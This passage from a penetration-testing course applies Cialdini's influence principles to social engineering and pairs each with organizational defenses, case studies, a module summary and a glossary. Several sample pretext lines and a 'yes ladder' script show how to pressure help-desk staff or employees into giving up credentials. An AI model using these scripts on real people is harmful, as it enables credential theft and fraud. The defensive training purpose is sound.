&lt;p&gt;Section 4.1 introduced Cialdini's six principles in the context of pretexting and pretext design. This section examines them at a deeper level — as operational tools that can be consciously applied and combined in social engineering campaigns, and as psychological mechanisms that defenders must understand deeply enough to build genuine resistance against.&lt;/p&gt;

&lt;p&gt;The critical insight for professional practice is this: &lt;strong&gt;influence principles work not because targets are stupid or naive, but because they describe fundamental features of how human cognition processes social information.&lt;/strong&gt; The same mechanisms that make us functional social beings — our tendency to reciprocate, to follow authority, to look to peers for guidance — are the exact mechanisms that make us vulnerable to social engineering.&lt;/p&gt;

&lt;p&gt;This means that knowing about these principles does not immunize you against them. Research by Cialdini and subsequent investigators has consistently shown that even people who are aware of influence techniques remain susceptible to them in real-world conditions — particularly when they are under cognitive load, emotional stress, or time pressure. The brain's reliance on heuristics is not a design flaw that knowledge can disable; it is an architecture feature that operates below the level of conscious control.&lt;/p&gt;

&lt;p&gt;What knowledge does provide is the possibility of creating the conditions under which these heuristics are less likely to fire inappropriately. Well-designed organizational security procedures, verification requirements, and challenge cultures are effective not because they eliminate the psychological mechanisms — they cannot — but because they create structural barriers that require explicit, conscious evaluation rather than heuristic compliance.&lt;/p&gt;




&lt;h3&gt;
  
  
  4.5.2 The Six Cialdini Principles in Operational Depth
&lt;/h3&gt;

&lt;h4&gt;
  
  
  1. Reciprocity — The Obligation Engine
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;The principle in depth:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The reciprocity norm is arguably the most universally observed social rule across all human cultures. Sociologist Alvin Gouldner documented this in his landmark 1960 paper "The Norm of Reciprocity," establishing that reciprocity is a foundational social institution rather than a culture-specific practice. When we receive a favor, gift, or service, we experience a genuine psychological obligation to return something of comparable value.&lt;/p&gt;

&lt;p&gt;What makes reciprocity particularly powerful from an influence perspective is the asymmetry between giving and receiving: the obligation created by receiving a gift is often larger than the cost to the giver. Giving a small, thoughtful gift can create a reciprocity obligation significantly more valuable than the gift itself. This is why free samples work in marketing, why charities send address labels with solicitations, and why social engineers provide small favors before asking for large ones.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The neurological basis:&lt;/strong&gt; Reciprocity activates the brain's reward system when we fulfill it and creates genuine discomfort (activation of insula and anterior cingulate cortex — regions associated with social pain) when we fail to reciprocate. This discomfort is not metaphorical; it is physically experienced as social anxiety.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Operational application:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In a phishing pretext, reciprocity might be implemented as: providing genuinely useful information to the target before the attack request. "I wanted to let you know we've fixed the sync issue you were probably seeing with the HR portal — should be working now." After this helpful interaction, requesting a credential verification feels like a natural reciprocation of the help provided.&lt;/p&gt;

&lt;p&gt;In vishing, reciprocity is established through the assistance-first pattern: solve a minor technical problem for the target before requesting access to their account for "verification purposes."&lt;/p&gt;

&lt;p&gt;In long-form social engineering, reciprocity is built over weeks through a pattern of small, genuine helpfulness before the attack conversation occurs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Organizational defense:&lt;/strong&gt; Policies requiring verification regardless of perceived relationship or prior helpfulness. "Someone who helps me does not thereby earn the right to bypass security verification." Explicitly training employees that favors from unknown callers should increase rather than decrease their skepticism.&lt;/p&gt;




&lt;h4&gt;
  
  
  2. Commitment and Consistency — The Identity Lock
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;The principle in depth:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Once people commit to a position, action, or identity, they experience powerful pressure to maintain consistency with that commitment. This mechanism is so strong that people will maintain commitments even when the original reason for the commitment no longer applies — Cialdini calls this the "lowball technique" in sales contexts.&lt;/p&gt;

&lt;p&gt;The psychological basis is cognitive dissonance: inconsistency between our actions and our self-concept creates genuine psychological discomfort. We are highly motivated to behave consistently with how we see ourselves and how we have committed to behaving. When we are first asked to make a small, easy commitment, we adjust our self-concept to include that commitment — and then maintain it even under circumstances where we would not have agreed to the full commitment originally.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The foot-in-the-door principle&lt;/strong&gt; (documented by Freedman and Fraser, 1966) is the classic experimental demonstration: people who agreed to a small initial request (display a small sign in their window) were significantly more likely to agree to a large subsequent request (allow a large sign in their yard) than people who received only the large request. The small initial commitment reshaped the self-concept — "I'm the kind of person who supports this cause" — which then drove compliance with larger requests.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Operational application:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The step-by-step information extraction is the primary application. Each small disclosure (name, department, employee ID, manager's name) is a commitment. Having made each disclosure, the target has established a compliance pattern that makes the next, slightly larger request more consistent with their established behavior. The target who refuses at step five is behaving inconsistently with themselves — a powerful psychological pressure toward continued compliance.&lt;/p&gt;

&lt;p&gt;In long-form social engineering, asking a target to agree to small procedural commitments ("Is it okay if I follow up with you tomorrow?", "Would you be able to help with the verification process?") creates commitment chains that make substantive assistance feel like the natural continuation of already-established agreements.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Organizational defense:&lt;/strong&gt; Single-step authorization procedures that require verification at the moment of compliance rather than establishing a pattern of escalating commitments. Training employees to recognize escalating request patterns. Creating organizational permission to say "no" at any point regardless of what has already been agreed to.&lt;/p&gt;




&lt;h4&gt;
  
  
  3. Social Proof — The Conformity Heuristic
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;The principle in depth:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Social proof — the tendency to use others' behavior as evidence of correct action — is an evolved heuristic with deep adaptive value. In genuinely ambiguous situations, following the crowd often leads to better outcomes than individual deviation. The problem is that this heuristic fires based on &lt;em&gt;apparent&lt;/em&gt; social proof as readily as &lt;em&gt;real&lt;/em&gt; social proof.&lt;/p&gt;

&lt;p&gt;Research by Stanley Milgram (the classic obedience experiments) and subsequent behavioral psychology research has consistently demonstrated the power of social context on individual behavior. The behavior of others around us — even strangers — significantly influences our own behavior in ways that bypass conscious deliberation.&lt;/p&gt;

&lt;p&gt;Social proof is particularly powerful in three conditions: when we are uncertain what to do, when the "others" whose behavior we observe are similar to us, and when we are in a novel situation with no prior behavioral script.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The bystander effect&lt;/strong&gt; is the dark manifestation of this principle: in crowds, individual responsibility diffuses and the perceived social proof that "everyone else seems fine with this" prevents intervention even in crisis situations. Kitty Genovese's 1964 murder, witnessed by neighbors who did not intervene, is the most cited (though historically more complex) example.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Operational application:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;"Most of your colleagues in the IT department have already completed this security verification process." The vague social proof that others have complied removes a significant barrier — if others did it, it must be safe and appropriate.&lt;/p&gt;

&lt;p&gt;"Your manager Sarah already confirmed this from her end — we just need your verification to complete the process." This combines social proof with authority, and introduces a false consistency pressure — Sarah has committed, so you should too.&lt;/p&gt;

&lt;p&gt;In mass phishing, creating the impression of widespread participation ("Important: All employees must complete this security update before Monday") creates social proof through apparent organizational mandate.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Organizational defense:&lt;/strong&gt; Verification procedures that do not allow "others have already done this" to substitute for independent verification. Training employees to recognize social proof as a manipulation trigger rather than a legitimate reason for compliance. Clear organizational policies that apply individually regardless of what others do.&lt;/p&gt;




&lt;h4&gt;
  
  
  4. Authority — The Hierarchy Exploit
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;The principle in depth:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The Milgram obedience experiments (1963) remain the most disturbing demonstration of authority's power over human behavior. Milgram found that 65% of participants were willing to administer what they believed were potentially lethal electric shocks to another person when instructed by an authority figure in a lab coat. The authority figure's instructions overrode the participants' own judgment, their distress at the apparent harm they were causing, and even the victim's screams.&lt;/p&gt;

&lt;p&gt;This is not a historical curiosity. Stanley Milgram's work has been replicated multiple times across different cultures, with remarkably consistent results. The specific percentage varies by context and implementation, but the fundamental finding — that people comply with authority figure instructions at dramatically higher rates than they do with peer requests, even for harmful actions — has been robust across decades of research.&lt;/p&gt;

&lt;p&gt;The mechanism is not purely fear of punishment. Milgram's follow-up research established that even under conditions where punishment for non-compliance was clearly impossible, compliance rates remained elevated. The obedience is partly internalized as appropriate behavior — we have been socialized to follow authority, and this socialization is deeply embedded.&lt;/p&gt;

&lt;p&gt;For social engineers, authority is the most reliably effective of all influence principles — not because it has the highest compliance rate in isolation, but because it is the most versatile. Authority can be combined with any pretext, any scenario, and any ask.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Authority signals that social engineers use:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Titles: "I'm the CISO," "I'm from the CEO's office," "I'm a senior IT administrator"&lt;/li&gt;
&lt;li&gt;Institutional affiliation: "I'm from compliance," "I'm from the security audit team," "I'm from regulatory affairs"&lt;/li&gt;
&lt;li&gt;Technical expertise: Demonstrating precise technical knowledge of internal systems&lt;/li&gt;
&lt;li&gt;Insider knowledge: Referencing real names, systems, and events&lt;/li&gt;
&lt;li&gt;Communication style: Confident, specific, using appropriate jargon&lt;/li&gt;
&lt;li&gt;Urgency and decisiveness: Speaking as someone who makes decisions rather than asks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Organizational defense:&lt;/strong&gt; Verification procedures that apply regardless of the caller's claimed authority. Explicitly training employees that authority claims require more verification, not less. A CISO cannot grant you permission to bypass verification by saying they are the CISO — they need to prove it through an out-of-band verification channel. Organizational culture that makes challenging authority in security contexts not just acceptable but expected.&lt;/p&gt;




&lt;h4&gt;
  
  
  5. Liking — The Rapport Manipulation
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;The principle in depth:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The link between liking and compliance has been documented across an extraordinary range of contexts — from sales effectiveness to jury decision-making to political candidate selection. Attractive, similar, familiar people receive systematically more compliance, more charitable interpretations of their actions, and more benefit of the doubt than people who are disliked or unfamiliar.&lt;/p&gt;

&lt;p&gt;Research on physical attractiveness has produced concerning findings: people rated as more attractive consistently receive more favorable treatment in employment, legal, and social contexts. Researchers proposing identical scientific papers were evaluated more favorably when using high-attractiveness profile photos than low-attractiveness photos. The "halo effect" — where a positive quality in one dimension (attractiveness, confidence) creates positive assumptions across all dimensions — means that liking based on appearance generates implicit trust based on competence and honesty.&lt;/p&gt;

&lt;p&gt;Similarity is an independent driver of liking and compliance. People comply more readily with requests from those who share their background, nationality, alma mater, interests, or even name (research has documented compliance effects from name similarity). Social engineers who discover shared background elements and incorporate them into rapport-building see measurable compliance improvements.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The mirror technique:&lt;/strong&gt; Mirroring the target's vocabulary, speaking pace, and communication style creates subconscious rapport. This technique is used by professional negotiators, therapists, salespeople, and social engineers because it works — the target perceives similarity and familiarity that is manufactured but psychologically genuine.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Operational application:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Research the target's background and interests before contact. Reference a mutual connection, a shared experience, or a specific piece of their professional work that demonstrates genuine familiarity. "I saw your presentation at the security conference last fall — the zero-trust implementation case study was excellent. That's actually why I wanted to reach out to you specifically for this."&lt;/p&gt;

&lt;p&gt;Build rapport before the ask, not simultaneously with it. Liking takes time to establish; rushing to the request undermines the rapport-building.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Organizational defense:&lt;/strong&gt; Awareness training that explicitly addresses the liking principle — teaching employees to recognize that genuine rapport, shared background, and interpersonal warmth from a caller are reasons for increased rather than decreased scrutiny.&lt;/p&gt;




&lt;h4&gt;
  
  
  6. Scarcity — The Loss Aversion Trigger
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;The principle in depth:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Kahneman and Tversky's prospect theory (1979, for which Kahneman later received the Nobel Prize) established one of the most robustly demonstrated findings in behavioral economics: &lt;strong&gt;losses loom approximately twice as large as equivalent gains in human psychological experience&lt;/strong&gt;. The pain of losing $100 is approximately twice as intense as the pleasure of gaining $100. This loss aversion fundamentally shapes how humans respond to scarcity.&lt;/p&gt;

&lt;p&gt;Scarcity is effective precisely because it frames situations in terms of potential loss. "Only 3 remaining" or "Offer expires in 15 minutes" creates the psychological experience of an imminent loss — the opportunity will be gone if action is not taken immediately. This experience activates loss aversion, which drives urgent action before careful deliberation can occur.&lt;/p&gt;

&lt;p&gt;The temporal dimension of scarcity — urgency — is particularly powerful because it directly compresses the time available for System 2 thinking. If you must act in the next 15 minutes, there is literally insufficient time for careful evaluation. The social engineer who creates artificial urgency is directly attacking the target's ability to think clearly about the request.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Operational application:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;"I need to complete this verification within the next fifteen minutes or the maintenance window closes and we'll lose the audit record for your account." The invented 15-minute deadline activates both scarcity (limited time) and loss aversion (losing the audit record).&lt;/p&gt;

&lt;p&gt;"This is the last chance to verify before the system automatically locks your account due to the security incident we're investigating." The threat of account lockout is a loss framing — not gaining a secure account, but losing access to an existing one.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Organizational defense:&lt;/strong&gt; Policies that explicitly prohibit accepting urgency as a reason to bypass security verification. Training employees that urgency is a manipulation signal — legitimate urgent situations have legitimate verification mechanisms that can still be followed under time pressure. Creating organizational "safety valves" for genuinely urgent situations that maintain security while allowing appropriate speed.&lt;/p&gt;




&lt;h3&gt;
  
  
  4.5.3 Beyond Cialdini — Advanced Influence Mechanics
&lt;/h3&gt;

&lt;p&gt;Cialdini's six principles are foundational, but the full picture of social engineering influence draws on a broader psychological literature.&lt;/p&gt;

&lt;h4&gt;
  
  
  Fear Appeals
&lt;/h4&gt;

&lt;p&gt;Fear is a primal motivator. Attacks that create fear — of account compromise, of data breach, of legal consequences, of job loss — bypass rational evaluation by activating threat-response systems that prioritize fast action over careful deliberation. "Your account has been compromised" generates immediate anxiety that reduces System 2 engagement. "Failure to comply may result in regulatory action against you personally" combines fear with authority in a potent combination.&lt;/p&gt;

&lt;p&gt;Research on fear appeals (particularly Witte's Extended Parallel Process Model) shows that fear appeals are most effective when they create high perceived threat AND high perceived self-efficacy for the recommended response — the target must believe both that the threat is serious and that the recommended action will address it.&lt;/p&gt;

&lt;h4&gt;
  
  
  Moral Duty and Diffusion of Responsibility
&lt;/h4&gt;

&lt;p&gt;Gragg (2003), studying social engineering psychology, identified "moral duty" as a significant psychological trigger. When a request is framed as a moral obligation — helping a colleague in need, preventing harm to the organization, protecting customer data — targets feel a categorical obligation that is harder to override with rational evaluation.&lt;/p&gt;

&lt;p&gt;The inverse — diffusion of responsibility — explains why individuals fail to take protective action when they believe others are responsible. "IT security handles that" or "My manager approved this" creates the belief that someone else is bearing the security responsibility, reducing the individual's sense of obligation to verify.&lt;/p&gt;

&lt;h4&gt;
  
  
  Curiosity and Information Gaps
&lt;/h4&gt;

&lt;p&gt;George Loewenstein's information-gap theory (1994) describes curiosity as arising from the perception of a gap between what we know and what we want to know. Phishing subject lines that create information gaps — "Did you see what they said about you?" "Unusual activity on your account" "Your document has been shared" — generate curiosity that drives clicks before security evaluation occurs.&lt;/p&gt;

&lt;p&gt;This is why phishing emails rarely lead with their request. They lead with a curiosity-inducing hook that drives initial engagement, and only reveal the ask after the target has already taken the first step toward compliance.&lt;/p&gt;

&lt;h4&gt;
  
  
  Obligation Through Framing — The "Yes Ladder"
&lt;/h4&gt;

&lt;p&gt;The consistency principle, combined with the foot-in-the-door technique, enables a systematic escalation framework sometimes called the "yes ladder." The social engineer gets small yes answers to small questions before graduating to larger requests:&lt;/p&gt;

&lt;p&gt;"Are you the person responsible for IT systems in your department?" (Yes — small commitment to identity)&lt;br&gt;
"And you'd want to make sure those systems are secure, right?" (Yes — commitment to value)&lt;br&gt;
"Then you'd agree it's important to verify account status during a security incident?" (Yes — commitment to principle)&lt;br&gt;
"Great. So let's verify your account right now — can you confirm your username?"&lt;/p&gt;

&lt;p&gt;Each yes builds commitment to the next yes. The target who has agreed to all the preceding questions faces significant cognitive dissonance in refusing the credential request — it contradicts their expressed identity, values, and principles.&lt;/p&gt;




&lt;h3&gt;
  
  
  4.5.4 Stacking Principles — Why Combined Attacks Are So Devastating
&lt;/h3&gt;

&lt;p&gt;The MGM Resorts 2023 breach provides the clearest illustration of principle stacking. The Scattered Spider attackers combined:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Authority:&lt;/strong&gt; Impersonating an employee who was a legitimate member of the organization&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Social proof:&lt;/strong&gt; Dropping the name of the real employee (implying the caller is known to the organization)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scarcity/urgency:&lt;/strong&gt; "I'm locked out and need immediate access"&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reciprocity (structural):&lt;/strong&gt; The IT help desk's entire function is to help — the request aligned perfectly with their role-defined purpose&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The combination of these four principles in a single interaction compressed the help desk analyst's decision window to the point where verification procedures were not followed. No single principle alone would have been as effective; their combination was devastating.&lt;/p&gt;

&lt;p&gt;Research confirms this multiplicative rather than additive effect. Fogg (2003) developed the Fogg Behavior Model, which describes behavior as the product of motivation, ability, and trigger — all three must be sufficiently high simultaneously for the target behavior to occur. Social engineers who stack multiple principles simultaneously are increasing motivation (multiple emotional drivers) while reducing the cognitive ability to resist (urgency, cognitive load) and providing a clear trigger (the explicit ask). The result is a compliance environment that the target's rational faculties cannot easily resist.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Arup $25 million deepfake case (2024)&lt;/strong&gt; stacked even more principles: authority (CFO and executives on video), social proof (multiple "colleagues" appearing on the call), scarcity (private acquisition requiring confidential urgent action), and liking (familiar faces of known colleagues). The combination overwhelmed the target's critical evaluation.&lt;/p&gt;




&lt;h3&gt;
  
  
  4.5.5 Countermeasures — Building Resistance to Influence
&lt;/h3&gt;

&lt;p&gt;The goal of social engineering awareness training is not to make people suspicious of everything — that would make organizational function impossible. The goal is to create specific protocols and habits that systematically interrupt the heuristic compliance that influence principles exploit.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Verification Protocol as a Structural Defense:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The single most effective organizational defense is a clear, mandatory, non-negotiable verification protocol for any request involving credentials, access changes, financial transactions, or sensitive information. This protocol must:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Not be bypassable by urgency claims ("This is urgent" does not allow skipping verification)&lt;/li&gt;
&lt;li&gt;Not be bypassable by authority claims ("I'm the CEO" still requires verification)&lt;/li&gt;
&lt;li&gt;Use an out-of-band channel (call back on a pre-known number, not the number the caller provides)&lt;/li&gt;
&lt;li&gt;Be explicitly trained and regularly practiced so it becomes automatic&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;The "Challenge Culture":&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Organizations where employees feel empowered — and indeed obligated — to challenge suspicious requests without social penalty are significantly more resistant to social engineering. This requires explicit leadership messaging ("I want you to challenge even requests that seem to come from me"), clear policy backing ("challenging a request is never a disciplinable offense"), and regular positive reinforcement for appropriate challenge behavior.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pre-commitment to verification:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Research on pre-commitment devices (Ariely, Loewenstein) shows that decisions made in advance, before the emotional trigger is present, are more rational and more resistant to manipulation. An organization that pre-commits employees to specific verification behaviors ("Always call back on the help desk number, no exceptions") creates behavioral commitments that are harder to override in the moment of a well-crafted attack.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Simulated social engineering exercises:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Regular, authorized phishing simulations and vishing tests provide the most direct form of training — experiential learning from actual susceptibility. Employees who have been caught by a simulated phishing attack are significantly more skeptical of subsequent attempts. The "immunization" effect of experiencing social engineering (in a safe, authorized context) is measurable and durable.&lt;/p&gt;




&lt;h2&gt;
  
  
  4.6 Module 4 Summary — The Complete Picture of Human-Layer Security
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What Module 4 Has Built
&lt;/h3&gt;

&lt;p&gt;Module 4 has established the most important and most underestimated dimension of penetration testing competence: the ability to attack, understand, and defend the human layer of organizational security.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;From Section 4.1 — Pretexting and Impersonation:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You learned that pretexting is not improvisation — it is a disciplined, research-intensive process that follows a systematic methodology. A pretext answers five implicit questions that every target unconsciously asks: who are you, why do you need this, do you have authority, is it safe to comply, and what happens if I don't? A pretext that answers all five questions convincingly will produce compliance in most targets most of the time, regardless of their security training.&lt;/p&gt;

&lt;p&gt;You learned that impersonation effectiveness is not uniform — different target personas (IT help desk, senior executives, auditors, vendors, new employees) create different psychological dynamics and are appropriate for different attack objectives. Choosing the right impersonation target is as important as building a convincing pretext.&lt;/p&gt;

&lt;p&gt;You learned the neuroscience and cognitive psychology that underlies social engineering. System 1 and System 2 thinking, cognitive load effects, stress-induced decision degradation, and emotional state influence on compliance — understanding these mechanisms at a mechanistic level is what separates practitioners who understand social engineering from those who merely know what it is.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;From Section 4.2 — Social Engineering Attacks:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You learned phishing at a professional depth — not just what phishing is, but the economics of mass phishing, the personalization mechanics of spear phishing, the organizational compromise of whaling and BEC, the technical infrastructure of phishing campaigns, and the authentication circumvention of AitM attacks with Evilginx2. You understand why phishing remains the most common initial access vector despite decades of awareness campaigns: because it attacks human decision-making, not technical controls.&lt;/p&gt;

&lt;p&gt;You learned vishing as the highest-impact real-time social engineering channel. The MGM Resorts case — $100 million in losses from a ten-minute phone call — is the most compelling illustration of vishing's power. You understand caller ID spoofing, the emerging threat of AI voice cloning, and the specific techniques that make vishing calls impossible to distinguish from legitimate communications.&lt;/p&gt;

&lt;p&gt;You learned smishing's penetration of a channel (SMS) that carries less established skepticism than email, and its particular relevance to MFA bypass attacks.&lt;/p&gt;

&lt;p&gt;You learned USB drop attacks at the hardware level — HID emulation, BadUSB firmware reprogramming, and the physical and psychological mechanics of getting employees to plug in found devices.&lt;/p&gt;

&lt;p&gt;You learned watering hole attacks as a supply chain attack methodology — attacking trusted resources that target employees use rather than attacking the organization directly — and the logical extension to full supply chain compromise (SolarWinds, XZ Utils).&lt;/p&gt;

&lt;p&gt;You learned the pivot attack model that contextualizes social engineering as an initial access vector rather than an end goal — the bridge between human-layer exploitation and technical post-exploitation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;From Section 4.3 — Physical Attacks:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You learned that physical security is an extension of social engineering — the same principles that make vishing effective also make tailgating effective. The social convention of courtesy (not letting a door slam), the presumption of legitimacy in physical spaces, and the social cost of challenging are the psychological mechanisms that physical attackers exploit.&lt;/p&gt;

&lt;p&gt;You learned tailgating and piggybacking at a level of technical and psychological detail that enables both execution in authorized physical penetration tests and design of effective countermeasures.&lt;/p&gt;

&lt;p&gt;You learned dumpster diving as an intelligence gathering methodology with a clear legal framework (based on jurisdiction), a systematic execution approach, and specific organizational defenses. The quantity and sensitivity of information typically found in corporate trash is one of the most consistently surprising findings for client organizations.&lt;/p&gt;

&lt;p&gt;You learned shoulder surfing as a genuine intelligence collection threat — not just in theoretical terms but with specific execution techniques, optical aids, and effective countermeasures (privacy screens being the most effective single control).&lt;/p&gt;

&lt;p&gt;You learned badge cloning at the technical level — understanding the vulnerability of legacy 125kHz RFID technology, the specific attack hardware (Proxmark3, FlipperZero), and the complete exploitation chain from badge reading to physical access.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;From Section 4.4 — Social Engineering Tools:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You learned SET as the most comprehensive open-source social engineering platform — its architecture, attack vector categories, Metasploit integration, and specific operational use for phishing, credential harvesting, payload delivery, and malicious media generation.&lt;/p&gt;

&lt;p&gt;You learned BeEF as the browser-centric exploitation platform — the hook concept, the command module library, the Pretty Theft attack for credential capture, and the critical use case of transforming XSS vulnerabilities from "medium" findings into "critical" demonstrations of real-world impact.&lt;/p&gt;

&lt;p&gt;You learned caller ID spoofing infrastructure — Twilio as the professional standard, commercial services, and the emerging threat of AI voice cloning for personalized vishing attacks.&lt;/p&gt;

&lt;p&gt;You learned GoPhish for campaign management and Evilginx2 for MFA-bypassing AitM phishing — the two most important modern additions to the professional phishing toolkit.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;From Section 4.5 — Methods of Influence:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You learned Cialdini's six principles not as a list to memorize but as operational mechanisms that you understand at a neurological and behavioral level. You understand why reciprocity creates genuine psychological obligation, why commitment creates identity lock, why social proof triggers conformity, why authority bypasses independent judgment, why liking reduces skepticism, and why scarcity attacks the capacity for deliberate evaluation.&lt;/p&gt;

&lt;p&gt;You learned that stacking principles produces multiplicative rather than additive compliance — the most effective attacks combine multiple principles simultaneously, creating a compliance environment that overcomes even trained, security-aware targets.&lt;/p&gt;

&lt;p&gt;You learned that countermeasures work not by disabling these psychological mechanisms (impossible) but by creating structural procedures that require conscious, deliberate evaluation where heuristic compliance would otherwise occur.&lt;/p&gt;

&lt;h3&gt;
  
  
  Module 4 Key Terms
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Authority bias&lt;/strong&gt; — The tendency to comply with requests from perceived authority figures at higher rates than equivalent requests from peers, even without verification of actual authority.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Badge cloning&lt;/strong&gt; — The process of reading RFID or NFC data from an authorized access control badge and writing it to a writable blank card, creating a functional duplicate.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;BeEF (Browser Exploitation Framework)&lt;/strong&gt; — An open-source framework that hooks target browsers via JavaScript and enables real-time command-and-control of the hooked browser session.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Business Email Compromise (BEC)&lt;/strong&gt; — A social engineering attack that impersonates executives or vendors via email to authorize fraudulent financial transactions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cialdini's Principles&lt;/strong&gt; — Six influence principles documented by Robert Cialdini: reciprocity, commitment and consistency, social proof, authority, liking, and scarcity.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Clone phishing&lt;/strong&gt; — A phishing technique that duplicates a legitimate email the target has previously received, replacing links or attachments with malicious versions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cognitive dissonance&lt;/strong&gt; — The psychological discomfort of holding inconsistent beliefs or behaviors, which social engineers exploit through the commitment and consistency principle.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Credential harvesting&lt;/strong&gt; — The capture of authentication credentials (username and password) through social engineering, fake login pages, or other deceptive means.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Dumpster diving&lt;/strong&gt; — The practice of searching through discarded materials (trash, recycling) to find sensitive organizational information.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Evilginx2&lt;/strong&gt; — An adversary-in-the-middle phishing framework that proxies authentication between the target and legitimate services, capturing session tokens and bypassing MFA.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GoPhish&lt;/strong&gt; — An open-source phishing campaign management platform providing email tracking, landing page management, and per-user campaign metrics.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HID (Human Interface Device) attack&lt;/strong&gt; — A USB attack that registers as a keyboard/mouse and executes pre-programmed keystrokes automatically on connection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hook (BeEF)&lt;/strong&gt; — A JavaScript code snippet embedded in a web page that, when loaded in a target's browser, establishes a connection to the BeEF server and enables remote command execution.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Impersonation&lt;/strong&gt; — Assuming a false identity to build credibility for a social engineering attack.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Influence stacking&lt;/strong&gt; — The deliberate combination of multiple psychological influence principles simultaneously to create a compliance environment stronger than any single principle alone.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Loss aversion&lt;/strong&gt; — The psychological property (documented by Kahneman and Tversky) whereby losses loom approximately twice as large as equivalent gains, exploited by urgency and scarcity attacks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Piggybacking&lt;/strong&gt; — Gaining unauthorized physical access to a restricted area by following through with an authorized person's knowledge or active assistance.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pretext&lt;/strong&gt; — A fabricated scenario that provides a believable reason for a social engineering request.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Proxmark3&lt;/strong&gt; — A multi-frequency RFID research tool used in authorized assessments for reading and cloning access control badges.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Quishing&lt;/strong&gt; — Phishing delivered via QR codes, bypassing email security tools that scan URL text.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reciprocity&lt;/strong&gt; — The social norm and psychological tendency to return favors, exploited by social engineers who provide value before making requests.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SET (Social-Engineer Toolkit)&lt;/strong&gt; — The most comprehensive open-source social engineering penetration testing framework, providing phishing, credential harvesting, payload delivery, and other capabilities.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Shoulder surfing&lt;/strong&gt; — Direct visual observation of a target's screen, keystrokes, or documents to capture sensitive information.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Smishing&lt;/strong&gt; — Phishing conducted via SMS text messages.&lt;/p&gt;

